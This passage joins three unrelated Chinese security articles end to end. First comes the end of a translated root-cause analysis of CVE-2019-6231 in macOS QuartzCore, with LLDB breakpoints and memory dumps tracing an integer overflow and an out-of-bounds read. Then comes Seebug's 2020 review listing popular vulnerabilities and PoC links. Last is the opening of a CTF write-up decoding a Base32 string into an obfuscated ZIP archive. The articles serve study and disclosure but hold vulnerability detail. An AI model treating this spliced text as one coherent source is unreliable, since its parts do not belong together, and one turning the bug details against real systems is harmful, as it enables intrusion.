如PoC的C代码所示，为了发送精心设计的mach消息以触发，我们首先需要发送带有`msgh_id
40202`的`mach消息（`服务器中相应的处理程序是`_XRegisterClient`）以检索每个新的连接ID 连接客户端。
一旦我们获得了连接id的值，我们就将这个值设置为mach消息中的相应偏移量（0x2C）。 最后，我们发送此消息以触发漏洞。
### 原因分析
在本节中，我将使用`LLDB`来动态调试此漏洞并找出其根本原因。 请注意，我们在这里需要通过`SSH模式`调试`WindowServer`进程。
使用崩溃日志中崩溃线程的堆栈回溯操作，我们可以使用以下命令在函数`CA::Render::Server::ReceivedMessage::run_command_stream`中设置条件断点。
br s -n CA::Render::Server::ReceivedMessage::run_command_stream
br mod -c '*(int*)($r13+0x2c) == [conn_id]'
`conn_id`的值可以通过在PoC的C代码中的第112行设置断点来获得。
在此断点被击中后，我们可以读取已发送的消息缓冲区中的数据。 寄存器r13指向系统消息。
(lldb) c
Process 172 resuming
Process 172 stopped
* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = breakpoint 1.1
frame #0: 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream:
-> 0x7fff3fca6824 <+0>: pushq %rbp
0x7fff3fca6825 <+1>: movq %rsp, %rbp
0x7fff3fca6828 <+4>: pushq %r15
0x7fff3fca682a <+6>: pushq %r14
Target 0: (WindowServer) stopped.
(lldb) re read
General Purpose Registers:
rax = 0x0000000000000000
rbx = 0x0000000000009c42
rcx = 0x0000000000000002
rdx = 0x000000000000c203
rdi = 0x000070000cc52ca0
rsi = 0x000000000000c203
rbp = 0x000070000cc52ef0
rsp = 0x000070000cc51c78
r8 = 0x000000000001450b
r9 = 0x0000000000000000
r10 = 0x0000000000001000
r11 = 0x0000000000000202
r12 = 0x0000000000000000
r13 = 0x000070000cc51ca0
r14 = 0x00007fff8ece4b20 QuartzCore`CA::Render::Server::_callback_lock
r15 = 0x00007fd93f2f5300
rip = 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
rflags = 0x0000000000000293
cs = 0x000000000000002b
fs = 0x0000000000000000
gs = 0x0000000000000000
(lldb) x -c 0x2e0 0x000070000cc51ca0
0x70000cc51ca0: 00 11 00 80 e0 02 00 00 00 00 00 00 2f d5 12 00 ....?......./?..
0x70000cc51cb0: 00 00 00 00 42 9c 00 00 01 00 00 00 00 00 00 00 ....B...........
0x70000cc51cc0: 00 00 00 00 00 00 00 00 01 00 00 00 97 9b 35 60 ..............5`
0x70000cc51cd0: 3b fe 27 59 18 ae 77 40 01 f0 9b 00 06 7f 7f 00 ;?'Y.?w@.?......
0x70000cc51ce0: 00 c3 01 00 00 01 30 97 00 06 7f 7f 00 00 c4 01 .?....0.......?.
0x70000cc51cf0: 00 00 02 40 be 30 06 7f 7f 00 00 a5 01 00 00 1c ...@?0.....?....
0x70000cc51d00: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d10: 00 00 ff 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 ..?...??.,?.....
0x70000cc51d20: 00 f0 00 00 00 00 00 68 84 40 00 00 00 00 00 20 .?.....h.@.....
0x70000cc51d30: 7c 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@..............
0x70000cc51d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 20 ...............
0x70000cc51d60: 00 02 f0 bb 30 06 7f 7f 00 00 a6 01 00 00 1c 02 ..?0.....?.....
0x70000cc51d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d80: 00 ff 00 02 01 c9 e7 03 2c d0 01 04 00 00 00 00 .?...??.,?......
0x70000cc51d90: f0 00 00 00 00 00 40 46 40 00 00 00 00 00 00 22 ?.....@F@......"
0x70000cc51da0: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............
0x70000cc51db0: 00 00 00 00 00 00 40 56 40 00 00 00 00 00 00 32 ......@[email protected]
0x70000cc51dc0: 40 fe 60 9d 21 06 7f 7f 00 00 c5 01 00 00 16 00 @?`.!.....?.....
0x70000cc51dd0: 14 01 01 b2 00 00 00 24 00 00 00 00 03 00 00 00 ...?...$........
0x70000cc51de0: 00 00 80 01 fe e0 1d 20 06 7f 7f 00 00 c6 01 00 ....??. .....?..
0x70000cc51df0: 00 2d 39 00 00 6d 00 00 00 00 00 00 00 00 00 00 .-9..m..........
0x70000cc51e00: 00 00 00 00 03 00 00 80 3f 00 00 00 00 00 00 00 ........?.......
0x70000cc51e10: 00 00 00 80 3f 00 00 80 3f 00 00 80 3f 00 00 80 ....?...?...?...
0x70000cc51e20: 3f 00 00 00 00 00 00 00 00 00 00 19 00 20 00 02 ?............ ..
0x70000cc51e30: c0 ba 30 06 7f 7f 00 00 a9 01 00 00 1c 02 00 00 ??0.....?.......
0x70000cc51e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ...............?
0x70000cc51e50: 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 ...??.,?......?.
0x70000cc51e60: 00 00 00 00 64 84 40 00 00 00 00 00 10 77 40 00 [email protected]@.
0x70000cc51e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51e80: 00 00 00 00 40 56 40 00 00 00 00 00 00 32 40 00 ....@[email protected]@.
0x70000cc51e90: 00 00 00 00 00 00 00 00 00 00 18 00 20 00 02 80 ............ ...
0x70000cc51ea0: b4 30 06 7f 7f 00 00 bf 01 00 00 1c 02 00 00 00 ?0.....?........
0x70000cc51eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 ..............?.
0x70000cc51ec0: 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 ..??.,?......?..
0x70000cc51ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f00: 00 00 00 00 00 00 00 00 00 00 00 20 00 02 90 b1 ........... ...?
0x70000cc51f10: 11 06 7f 7f 00 00 c0 01 00 00 1c 02 00 00 00 00 ......?.........
0x70000cc51f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 01 .............?..
0x70000cc51f30: 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 00 .??.,?......?...
0x70000cc51f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f70: 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 .......... .....
(lldb)
函数`CA::Render::Decoder::decode_object(CA::Render::Decoder *this,
CA::Render::Decoder *a2)`用于解码所有类型的对象数据。
从偏移量`0x70000cc51d6e`开始的缓冲区数据是一个Layer对象（标记为绿色）。
以下代码分支用于解析Layer对象数据。
我们来看看如何处理这个Layer对象。 以下列表说明了Layer对象中字段的含义。
函数`CA::Render::Layer::Layer(CA::Render::Layer *this, CA::Render::Decoder
*a2)`的实现如下所示。
我们可以看到下一个数据仍然代表一个对象。 接下来，让我们继续跟踪下一个数据的处理方式。
下一个数据仍然代表一个对象。 此对象中的第一个字节表示对象的类型。 字节0x16表示该对象是Image对象，如下所示。
接下来，让我们看一下`CA::Render::Image::decode()`函数如何解码Image对象。
以下列表说明了Image对象中每个字段的含义。
我们可以看到数据的8个字节`（00 03 00 00 00 00 00 80）`被解码为size_t类型，并且其值被设置为异常。
在图中，变量v9等于`0x8000000000000300`，它作为参数传递给函数`CA::Render::validate_rowbytes`。
现在让我们仔细看看`CA::Render::validate_rowbytes`函数如何处理这个值。
在这里我们很容易发现算术运算`a2 * *(_QWORD *)(a3 + 8LL * v4)`是作为整数溢出而存在。
此时，变量a2等于0x24并且可以通过调用`CA::Render::Decoder::decode_int32()`来获得，如图所示。因此，由于变量v6的值等于0
而溢出。 然后该函数返回0，导致下一个程序执行流程发生变化。 通常，它应该返回1.让我们回到图中来看看执行流程的变化。
因为函数`CA::Render::validate_rowbytes`由于整数溢出而返回0，所以稍后系统可以转到`LABEL_31`处。
然后它可以调用函数`CA::Render::Texture::decode() 来解码下一个缓冲区的数据。
以下是函数`CA::Render::Texture::decode`的实现。
然后它可以调用函数`CA::Render::Decoder::decode_colorspace`来解码带有颜色的数据。
让我们完整分析一下这个功能。 它首先解码一个int8类型的整数并得到结果0x01。 然后它可以执行case 1分支。 变量v3的值等于0xFE。
然后它可以调用函数`CAGetColorSpace`来获取颜色空间的数据。
此处索引值等于0xfe，实际上这里的值大于有颜色数组的最大索引，从而能够读取受限制的内存数据。
要读取的受限存储器的地址等于`0x291EE0(0x2916F0 + 0xFE * 8)`。
因此函数`CAGetColorSpace`的返回值等于`0x8000000010`。 显然，这是一个无效的内存地址。
当此地址作为参数传递给CFRetain函数时，它可能导致`EXC_BAD_ACCESS`异常。
### 结论
我们现在已经完成了对此漏洞的详细分析。 虽然此漏洞同时影响macOS和iOS，但在本博客中，我只在macOS中进行了演示和分析。
### 受感染版本
macOS Sierra 10.12.6，macOS High Sierra 10.13.6，macOS Mojave 10.14.2
iPhone 5s及更高版本，iPad Air及更高版本，以及iPod touch第6代
### 参考链接
<https://support.apple.com/en-us/HT209446>
<https://support.apple.com/en-us/HT209443>
<https://ssd-disclosure.com/index.php/archives/3796>
本文翻译自https://www.fortinet.com/blog/threat-research/detailed-analysis-of-macos-ios-vulnerability-cve-2019-6231.html | 社区文章 |
2020年，Seebug漏洞平台的重心逐渐从漏洞平台转变为漏洞信息平台，将收录漏洞情报作为Seebug漏洞平台的主要重点，并推出了1day漏洞情报收录的功能，将Seebug从漏洞平台转变为漏洞集中收录、聚合信息的平台。
2020年，Seebug一共收录了935个漏洞，79个相关Poc；自上线以来，累计收录58231个漏洞，45269个Poc。
2020年，Seebug Paper一共发表了347篇文章，其中94篇为404实验室翻译组翻译的威胁情报，56篇为404实验室原创的安全技术文章。
在2021年的年初，我们一起来回顾一下2020年的那些漏洞和那些事。
## 一、2020年最受瞩目的漏洞top20
id | name | Seebug链接
---|---|---
1 | Weblogic 远程代码执行漏洞（CVE-2020-2883） |
<https://www.seebug.org/vuldb/ssvid-98212>
2 | 深信服EDR 未授权 0Day RCE漏洞 | <https://www.seebug.org/vuldb/ssvid-98347>
3 | 通达OA前台任意用户伪造登录漏洞 | <https://www.seebug.org/vuldb/ssvid-98218>
4 | Citrix ADC&NetScaler远程命令执行漏洞(CVE-2019-19781) |
<https://www.seebug.org/vuldb/ssvid-98121>
5 | Apache Tomcat session持久化远程代码执行漏洞(CVE-2020-9484) |
<https://www.seebug.org/vuldb/ssvid-98234>
6 | Apache Dubbo反序列化漏洞(CVE-2020-1948) |
<https://www.seebug.org/vuldb/ssvid-98258>
7 | WebLogic 未授权远程代码执行漏洞(CVE-2019-2725) |
<https://www.seebug.org/vuldb/ssvid-98117>
8 | 通达OA 文件上传+文件包含导致RCE漏洞 | <https://www.seebug.org/vuldb/ssvid-98186>
9 | Apache Tomcat Ajp协议文件包含漏洞 | <https://www.seebug.org/vuldb/ssvid-98134>
10 | Gitlab CE/EE任意文件读取导致远程命令执行漏洞(CVE-2020-10977) |
<https://www.seebug.org/vuldb/ssvid-98287>
11 | Fastjson<1.2.69反序列化远程代码执行漏洞 | <https://www.seebug.org/vuldb/ssvid-98236>
12 | Spring Framework RFD漏洞(CVE-2020-5398) |
<https://www.seebug.org/vuldb/ssvid-98127>
13 | Wordpress IMPress for IDX Broker 低权限xss漏洞 |
<https://www.seebug.org/vuldb/ssvid-98247>
14 | Joomla 授权 RCE漏洞 （CVE-2020-11890 CVE-2020-10238 CVE-2020-10239） |
<https://www.seebug.org/vuldb/ssvid-98353>
15 | 宝塔面板PhpmyAdmin未授权访问漏洞 | <https://www.seebug.org/vuldb/ssvid-98358>
16 | ThinkCMF缓存Getshell漏洞 | <https://www.seebug.org/vuldb/ssvid-98223>
17 | 万户网络技术有限公司ezEIP前台存在文件上传漏洞 | <https://www.seebug.org/vuldb/ssvid-98240>
18 | ThinkPHP5 SQL注入漏洞 && 敏感信息泄露 | <https://www.seebug.org/vuldb/ssvid-98289>
19 | Jira信息泄露（CVE-2019-8449）漏洞 | <https://www.seebug.org/vuldb/ssvid-98130>
20 | 禅道前台Getshell | <https://www.seebug.org/vuldb/ssvid-98352>
## 二、2020年最受关注的组件top10
name | 点击量
---|---
WeiPHP | 98919
WebLogic | 76881
Windows | 50521
Tongda OA | 31745
Microsoft SharePoint | 29740
phpcms | 25280
Apache Tomcat | 20385
Microsoft Exchange | 20203
Nexus | 18820
Spring | 17682
Zentao | 16258
TP-LINK | 15667
Shiro | 15474
WebAccess/SCADA | 15446
Pi-hole | 15135
深信服 EDR | 14263
Symmetricom SyncServer | 14035
Advantech WebAccess HMI Designer | 14008
Comtech Stampede FX | 13746
Apache Dubbo | 13456
## 三、2020年漏洞类型
## 四、2020年兑换最多的Poc
ID | 漏洞名称 | Poc链接
---|---|---
1 | WebLogic 未授权远程代码执行漏洞(CVE-2019-2725) |
<https://www.seebug.org/vuldb/ssvid-98117>
2 | Apache Dubbo反序列化漏洞(CVE-2020-1948) |
<https://www.seebug.org/vuldb/ssvid-98258>
3 | D-link DIR-610 未授权RCE（CVE-2020-9376、CVE-2020-9377） |
<https://www.seebug.org/vuldb/ssvid-98346>
4 | Citrix ADC&NetScaler远程命令执行漏洞(CVE-2019-19781) |
<https://www.seebug.org/vuldb/ssvid-98121>
5 | Apache Tomcat Ajp协议文件包含漏洞 | <https://www.seebug.org/vuldb/ssvid-98134>
6 | ThinkCMF缓存Getshell漏洞 | <https://www.seebug.org/vuldb/ssvid-98223>
7 | Weblogic XMLDecoder反序列化代码执行（CVE-2019-2729） |
<https://www.seebug.org/vuldb/ssvid-98369>
8 | Citrix ADC&NetScaler目录遍历漏洞 | <https://www.seebug.org/vuldb/ssvid-98120>
9 | Adobe ColdFusion 任意文件读取（CVE-2020-3761)和任意文件包含(CVE-2020-3794)漏洞 |
<https://www.seebug.org/vuldb/ssvid-98190>
10 | Nexus Repository Manager Groovy注入漏洞（CVE-2020-11753） |
<https://www.seebug.org/vuldb/ssvid-98224>
## 五、2020年最受欢迎的paper
ID | 文章名称 | 作者 | 文章链接
---|---|---|---
1 | CSS-T Mysql Client 任意文件读取攻击链拓展 | 知道创宇404实验室 |
<https://paper.seebug.org/1112/>
2 | Fastjson 反序列化漏洞史 | 知道创宇404实验室 | <https://paper.seebug.org/1192/>
3 | ThinkPHP6 任意文件操作漏洞分析 | 启明星辰ADLab | <https://paper.seebug.org/1114/>
4 | 这是一篇“不一样”的真实渗透测试案例分析文章 | 奇安信A-TEAM | <https://paper.seebug.org/1144/>
5 | 聊聊区块链中的几个技术点 | 知道创宇404实验室 | <https://paper.seebug.org/1110/>
6 | Shadowsocks 重定向攻击分析 | 数智安全研究院 | <https://paper.seebug.org/1134/>
7 | Cobalt Strike 4.0 手册——献给渗透测试人员的先进威胁战术 | 奇安信A-TEAM |
<https://paper.seebug.org/1143/>
8 | XSS 扫描器成长记 | 知道创宇404实验室 | <https://paper.seebug.org/1119/>
9 | CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis | 知道创宇404实验室 |
<https://paper.seebug.org/1165/>
10 | pwn的艺术浅谈（二）：linux堆相关 | 天融信阿尔法实验室 | <https://paper.seebug.org/1109/>
11 | CSS-T Mysql Client Arbitrary File Reading Attack Chain Extension |
知道创宇404实验室 | <https://paper.seebug.org/1113/>
12 | 从 0 开始入门 Chrome Ext 安全（番外篇） -- ZoomEye Tools | 知道创宇404实验室 |
<https://paper.seebug.org/1115/>
13 | Hessian 反序列化及相关利用链 | 知道创宇404实验室 | <https://paper.seebug.org/1131/>
14 | APT 分析及 TTPs 提取 | PIanet | <https://paper.seebug.org/1132/>
15 | CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析 | 知道创宇404实验室 |
<https://paper.seebug.org/1164/>
16 | 渗透利器 Cobalt Strike 在野利用情况专题分析 | 启明星辰ADLab |
<https://paper.seebug.org/1190/>
17 | pwn 的艺术浅谈（一）：linux 栈溢出 | 天融信阿尔法实验室 | <https://paper.seebug.org/1108/>
18 | CVE-2019-19781 远程代码执行漏洞深入分析 | 天融信阿尔法实验室 |
<https://paper.seebug.org/1117/>
19 | 从0开始聊聊自动化静态代码审计工具 | 知道创宇404实验室 | <https://paper.seebug.org/1339/>
20 | Cobalt Strike 绕过流量审计 | Keyi | <https://paper.seebug.org/1349/>
## 六、2020年最受欢迎的404原创文章
ID | 文章名称 | 文章链接
---|---|---
1 | CSS-T Mysql Client 任意文件读取攻击链拓展 | <https://paper.seebug.org/1112/>
2 | Fastjson 反序列化漏洞史 | <https://paper.seebug.org/1192/>
3 | 聊聊区块链中的几个技术点 | <https://paper.seebug.org/1110/>
4 | XSS 扫描器成长记 | <https://paper.seebug.org/1119/>
5 | CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis |
<https://paper.seebug.org/1165/>
6 | CSS-T Mysql Client Arbitrary File Reading Attack Chain Extension |
<https://paper.seebug.org/1113/>
7 | 从 0 开始入门 Chrome Ext 安全（番外篇） -- ZoomEye Tools |
<https://paper.seebug.org/1115/>
8 | Hessian 反序列化及相关利用链 | https://paper.seebug.org/1131/
9 | CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析 |
https://paper.seebug.org/1164/
10 | 从0开始聊聊自动化静态代码审计工具 | <https://paper.seebug.org/1339/>
11 | Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961) |
<https://paper.seebug.org/1162/>
12 | Getting Started with Chrome Ext Security (Extra)-Zoomeye Tools |
<https://paper.seebug.org/1116/>
13 | CVE-2020-3119 Cisco CDP Stack Overflow Analysis |
<https://paper.seebug.org/1156/>
14 | Hessian deserialization and related gadget chains |
<https://paper.seebug.org/1137/>
15 | Liferay Portal Json Web Service Deserialization Vulnerability
(CVE-2020-7961) Analysis | <https://paper.seebug.org/1163/>
16 | 从代码角度看各类子域名收集工具 | <https://paper.seebug.org/1292/>
17 | CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析 | <https://paper.seebug.org/1154/>
18 | 使用 ZoomEye 寻找 APT 攻击的蛛丝马迹 | <https://paper.seebug.org/1219/>
19 | ksubdomain 无状态域名爆破工具 | <https://paper.seebug.org/1325/>
20 | 从反序列化到类型混淆漏洞——记一次 ecshop 实例利用 | <https://paper.seebug.org/1267/>
## 七、2020年最受欢迎的翻译文章Top10
ID | 文章名称 | 文章链接
---|---|---
1 | CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis |
<https://paper.seebug.org/1165/>
2 | CSS-T Mysql Client Arbitrary File Reading Attack Chain Extension |
<https://paper.seebug.org/1113/>
3 | Getting Started with Chrome Ext Security (Extra)-Zoomeye Tools |
<https://paper.seebug.org/1116/>
4 | CVE-2020-3119 Cisco CDP Stack Overflow Analysis |
<https://paper.seebug.org/1156/>
5 | Hessian deserialization and related gadget chains |
<https://paper.seebug.org/1137/>
6 | Liferay Portal Json Web Service Deserialization Vulnerability
(CVE-2020-7961) Analysis | <https://paper.seebug.org/1163/>
7 | Fastjson Deserialization Vulnerability History |
<https://paper.seebug.org/1193/>
8 | Nexus Repository Manager 3 Several Expression Parsing Vulnerabilities |
<https://paper.seebug.org/1167/>
9 | Look for traces of APT attacks through the ZoomEye history api |
<https://paper.seebug.org/1220/>
10 | F5 BIG-IP hsqldb (CVE-2020-5902) Vulnerability Analysis |
<https://paper.seebug.org/1272/>
## 八、2020年最受欢迎的威胁情报
ID | 文章名称 | 文章链接
---|---|---
1 | 新兴的URSA木马使用复杂的加载程序影响了许多国家 | <https://paper.seebug.org/1338/>
2 | 浅谈基于开源工具的威胁情报自动化生产 | <https://paper.seebug.org/1210/>
3 | Eleethub：使用 Rootkit 进行自我隐藏的加密货币挖矿僵尸网络 | <https://paper.seebug.org/1214/>
4 | 针对知名航天和军事公司的攻击活动分析 | <https://paper.seebug.org/1248/>
5 | 新型 Golang 蠕虫在服务器上投放 XMRig Miner 病毒 | <https://paper.seebug.org/1440/>
6 | Mikroceen 后门程序：对中亚地区政府机构和组织进行秘密间谍活动 | <https://paper.seebug.org/1206/>
7 | 针对南亚政府和军事组织的 BackConfig 恶意软件 | <https://paper.seebug.org/1202/>
8 | 针对欧洲组织的新的僵尸网络 Outlaw 再度来袭 | <https://paper.seebug.org/1204/>
9 | Rovnix Bootkit 恶意软件相关活动分析 | <https://paper.seebug.org/1253/>
10 | COMpfun 操作者利用基于 HTTP 状态的木马欺骗签证申请 | <https://paper.seebug.org/1212/>
11 | 垃圾钓鱼邮件活动：通过 paste.ee 和 Excel 文件向德国用户发送 Netwire RAT 恶意软件 |
<https://paper.seebug.org/1216/>
12 | 多阶段 APT 攻击使用 C2 功能降低 Cobalt Strike | <https://paper.seebug.org/1250/>
13 | UltraRank 黑客组织的新攻击 | <https://paper.seebug.org/1438/>
14 | 攻击者滥用合法的云监控工具进行网络攻击 | <https://paper.seebug.org/1333/>
15 | Mirai 和 Hoaxcalls 僵尸网络瞄准旧版赛门铁克 Web 网关 | <https://paper.seebug.org/1211/>
16 | Joker 恶意软件通过上传到 Google Play 商店促使用户下载 | <https://paper.seebug.org/1352/>
17 | LOLSnif–另一个基于Ursnif的目标追踪活动 | <https://paper.seebug.org/1213/>
18 | Wolf 恶意软件再次发起攻击 | <https://paper.seebug.org/1215/>
19 | Gamaredon 威胁组织活动相关分析 | <https://paper.seebug.org/1245/>
20 | NetWalker 勒索软件相关分析 | <https://paper.seebug.org/1243/>
# 2021 Seebug
2021年，Seebug会经历一次大的改版，将漏洞信息聚合作为Seebug漏洞平台的主要目标。同时长期收取1day漏洞情报，向各位白帽子提供最快最全的漏洞情报推送~
为了迎接2021年，我们精心挑选了10个受到关注的漏洞的PoC，全部提供公开兑换啦！
ID | 文章名称 | 文章链接
---|---|---
1 | FusionAuth FreeMarker模板注入漏洞(CVE-2020-7799) |
<https://www.seebug.org/vuldb/ssvid-98128>
2 | Apache Tomcat Ajp协议文件包含漏洞(CVE-2020-1938) |
<https://www.seebug.org/vuldb/ssvid-98134>
3 | Apache ShardingSphere远程代码执行漏洞(CVE-2020-1947) |
<https://www.seebug.org/vuldb/ssvid-98180>
4 | 通达OA任意文件上传配合文件包含导致的RCE | <https://www.seebug.org/vuldb/ssvid-98186>
5 | Liferay Portal JSON Web Service RCE漏洞(CVE-2020-7961) |
<https://www.seebug.org/vuldb/ssvid-98193>
6 | 用友GRP-u8 SQL注入 | <https://www.seebug.org/vuldb/ssvid-98376>
7 | VMware vCenter未授权任意文件读取漏洞 | <https://www.seebug.org/vuldb/ssvid-98394>
8 | Jira未授权用户枚举(CVE-2020-14181) | <https://www.seebug.org/vuldb/ssvid-98400>
9 | ecshop商城系统4.0.8-4.1.0 delete_cart_goods.php文件SQL注入漏洞 |
<https://www.seebug.org/vuldb/ssvid-99060>
10 | SolarWinds任意文件读取漏洞（CVE-2020-10148） |
<https://www.seebug.org/vuldb/ssvid-99087>
扫码文末二维码，关注Seebug官方微信公众号并参与活动，有机会抽取“星链计划定制抱枕+Seebug定制机械键盘”大礼包哦！！！
* * * | 社区文章 |
## 1.前言：
参加某国赛去划水，遇到了好多大佬，还遇到了自己收藏夹里面的大佬本人，哇激动的赶紧要了个好友位，要不是比赛时间太赶，说不定我就能在那跟大佬面基聊聊天。本次比赛发现大佬就是大佬强，在前三小时的解题赛的时候开局半小时，我选择题都没写完，大佬连CTF题都解出来了。TQL，然后回去之后自己复现下CTF题，发现大佬太强了。完全是自己用01拼出来的压缩包。接下从零开始手撕压缩包。
## 2.正文：
题目名称：MISC600
题目描述：宇宙的一切的答案就是32
题目附件：链接: <https://pan.baidu.com/s/1mJ2ozhGFi_eydAzhMtLCxg> 提取码: we4a
打开rar文件里面有个32.jpg，日常BINWALK 发现一个32.txt内容如下
`GUYDIQRQGMYDIMCBGAYDAOJQGAYDAMBQGQ7DIOJQIE7DON7FHBBEENKGGQYTEMBQGAYDAMBQGYYDAMBQGAYDANJQGAYDAMBQGY6DERJXGQ6TQNZUGE6TCNRVGE5EIQZXGJCTIOKEIZBDQRCCGMYTMMZRII7UIQKFIM7DERRZGA7TANCCGA6TAOBXIU5EEQRVIY7DCMRQGAYDAMBQGA6DAMBQGAYDANJQGRBDAMZQGQYECMBQGA5TAMBQGAYDANJTGQ5TAQJUG4BTQNZUIFAUCNJRGIYDAMBQGAYDANRQGAYDAMBQGA7TAMBQGAYDANSDGJCTONBXHA6TIMJXGE6DKMJYIRBTOMSFGQ5UIRSCHBCEEMRWGFBECQJSGRBTMQJWINBDGQRVGA7EEMBXGA5EGOBXGRAUCQJVGEZDAMBQGAYDAMBWGAYDAMBQGA7TANCCGAZTANBQIEYDAMBZGAYDAMBQGAZTINRSGBATINZUGVCDMMBQIMYTCMRQGAYDAMBQGA6DAMBQGAYDAMBVGAYDAMBQGA6DCMSFG57DOOBXGQYTOMJWGUYTQRCDG5ZEKNBZIRDEEOCEII7DCNCBGAZTEQJSGU6UERJSIY5TKMBUIIYDOMBYGQ7UINRQGBBTCMJSGAYDAMBQGAYDMMBQGAYDAMBVGA7EEMBTGA7DAQJQGAYDSMBQGAYDAMBXIQ7DSMCBGQ6TMNBSINBECRKFGEZDAMBQGAYDAMBWGAYDAMBQGAYDKMBQGAYDAMBWG5ZEKNZUG55DONBRG5YTMNJRHBCEGNZSIU7DSRCGII5EIQRQHAYECMBWGZDEMMBSIZDEKQZVGUYDIQRQG5YDQNRUGJBUEQKFIUYTEMBQGAYDAMBQGYYDAMBQGAYDKMBUIIYDCMBSGE7DAMBQIEYDAMBZGAYDAMBQGA7DINBZGBATINZXIU5EEQRVIY7DCMRQGAYDAMBQGA6DAMBQGAYDAMBVGAYDAMBQGAYDAMBQGAYDAMBQGEYDAMRQGAYDAMBQGAYDAMBQGAYDAMBWGYZEKNZUG55DONBVGA7EEMBRGAZDCNBQGAYECMBQGA5TAMBQGAYDANJTGQ5TAQJUG4BTQNZUIFAUCNJRGIYDAMBQGAYDANRQGAYDAMBQGA7TAMBQGAYDAMBQGAYDAMBQGAYDCMBQGIYDAMBQGAYDANBVGAYDAMBQGA6EGMSFG57DOOBXGQ7TANCCGAYTAMRRGQYDAMCBGAYDAOJQGAYDAMBQGM7DMMRQIE7DONBVIQ6DAMCDGEYTEMBQGAYDAMBQGYYDAMBQGAYDANJQGAYDAMBQGAYDAMBQGAYDAMBRGAYDEMBQGAYDAMBQHBATAMBQGAYDANRRGJCTONBXHA6TINJQGRBDAMJQGIYTIMBQGBATAMBQHEYDAMBQGAYDORBUHEYECNBXGY7DEQ7CIFCUKMJSGAYDAMBQGAYDMMBQGAYDAMBQGUYDAMBQGAYDAMBQGAYDAMBQGAYTAMBSGAYDAMBQGAYEGRRQGAYDAMBQGY6TERJXGQ6TQNZUGUYDIQRQGUYDMMBQGAYDAMBQGAYDIMBQGA7DAMCDIMYDAMBQGAYDCNBQGEYDAMBQGAYDAMA=`
仔细看字符串范围1.全是大写，然后没有8，9，确定编码`BASE32`，`PYTHON BASE3`2解密看到字符串如下
504B03040A00090000004>490A>77\xe58B
B5F41200000006000000050000006<2E
74=8741=1651:DC72E49DFB8DB31631B
?DAEC>2F90?04B0=087E:BB5F>120000
000<000000504B03040A000;00000053
4;0A47\x03874AAA512000000060000000?
0000006C2E7478=4171<518DC72E4;DF
B8DB261BAA24C6A6CB3B50>B070:C874
AAA51200000006000000?04B03040A00
0900000034620A4745D600C112000000
0<00000005000000<12E7~7874171651
8DC7rE49DFB8DB>14A032A25=BE2F;50
4B07084?D600C1120000000600000050
\>B030>0A00090000007D>90A4=642CBA
EE12000000060000000500000067rE74
7z7417q6518DC72E>9DFB:DB080A066F
F02FFEC5504B07p8642CBAEE12000000
06000000504B01021>000A0009000000
\>4490A477E:BB5F>120000000<000000
05000000000000000100200000000000
0000662E747z7450>B010214000A000;
000000534;0A47\x03874AAA51200000006
0000000?000000000000000100200000
0045000000<C2E7~7874?04B01021400
0A00090000003>620A>745D<00C11200
00000600000005000000000000000100
200000008A000000612E7478=4504B01
0214000A00090000007D490A476>2C\xe2A
EE120000000600000005000000000000
00010020000000CF0000006=2E74=874
504B05060000000004000>00CC000000
看到`504b0304`相信大家都看出来是压缩包了吧，仔细看发现里面一堆混淆字符串emem比赛的时候我就是做到这里的，然后就回家补习知识了。
## 3.预备知识：
首先zip压缩包是由多个文件实体（File Entry）和多个目录源数据（Central Directory）以及一个目录结束标识（End of
central directory
record）组成。举个栗子：我们新建个flag.txt文件内容为`xiaomeiqiu007`,然后压缩成flag.zip。用winhex打开下，我稍微标记一下。
**红色部分为：文件实体（File Entry）**
主要是记录文件压缩后的主要内容通常以`504b0304`标识开头，每一被压缩的文件对应一个文件实体。例如本次压缩的flag.txt对应第一个文件实体（红色的部分）。文件实体中存储着当前被压缩文件的名字，文件修改时间，压缩方式，是否加密等信息。从旁边解码中我们也能看到，文件的名字`flag.txt`,以及文件的内容`xiaomeiqiu007`。
**蓝色部分为：目录源数据（Central Directory）**
主要记录文件目录相关信息，如文件注释，大小，文件名等等…。由文件头（File Header）组成，通常是以`504b0102`标识开头
**灰色部分：目录源数据结束标识（End of central directory record）**
主要记录压缩包开始分卷号开始的偏移量，主要决定文件的目录结构，以及压缩包的相关信息，以`504b0607`开头（只有一个）
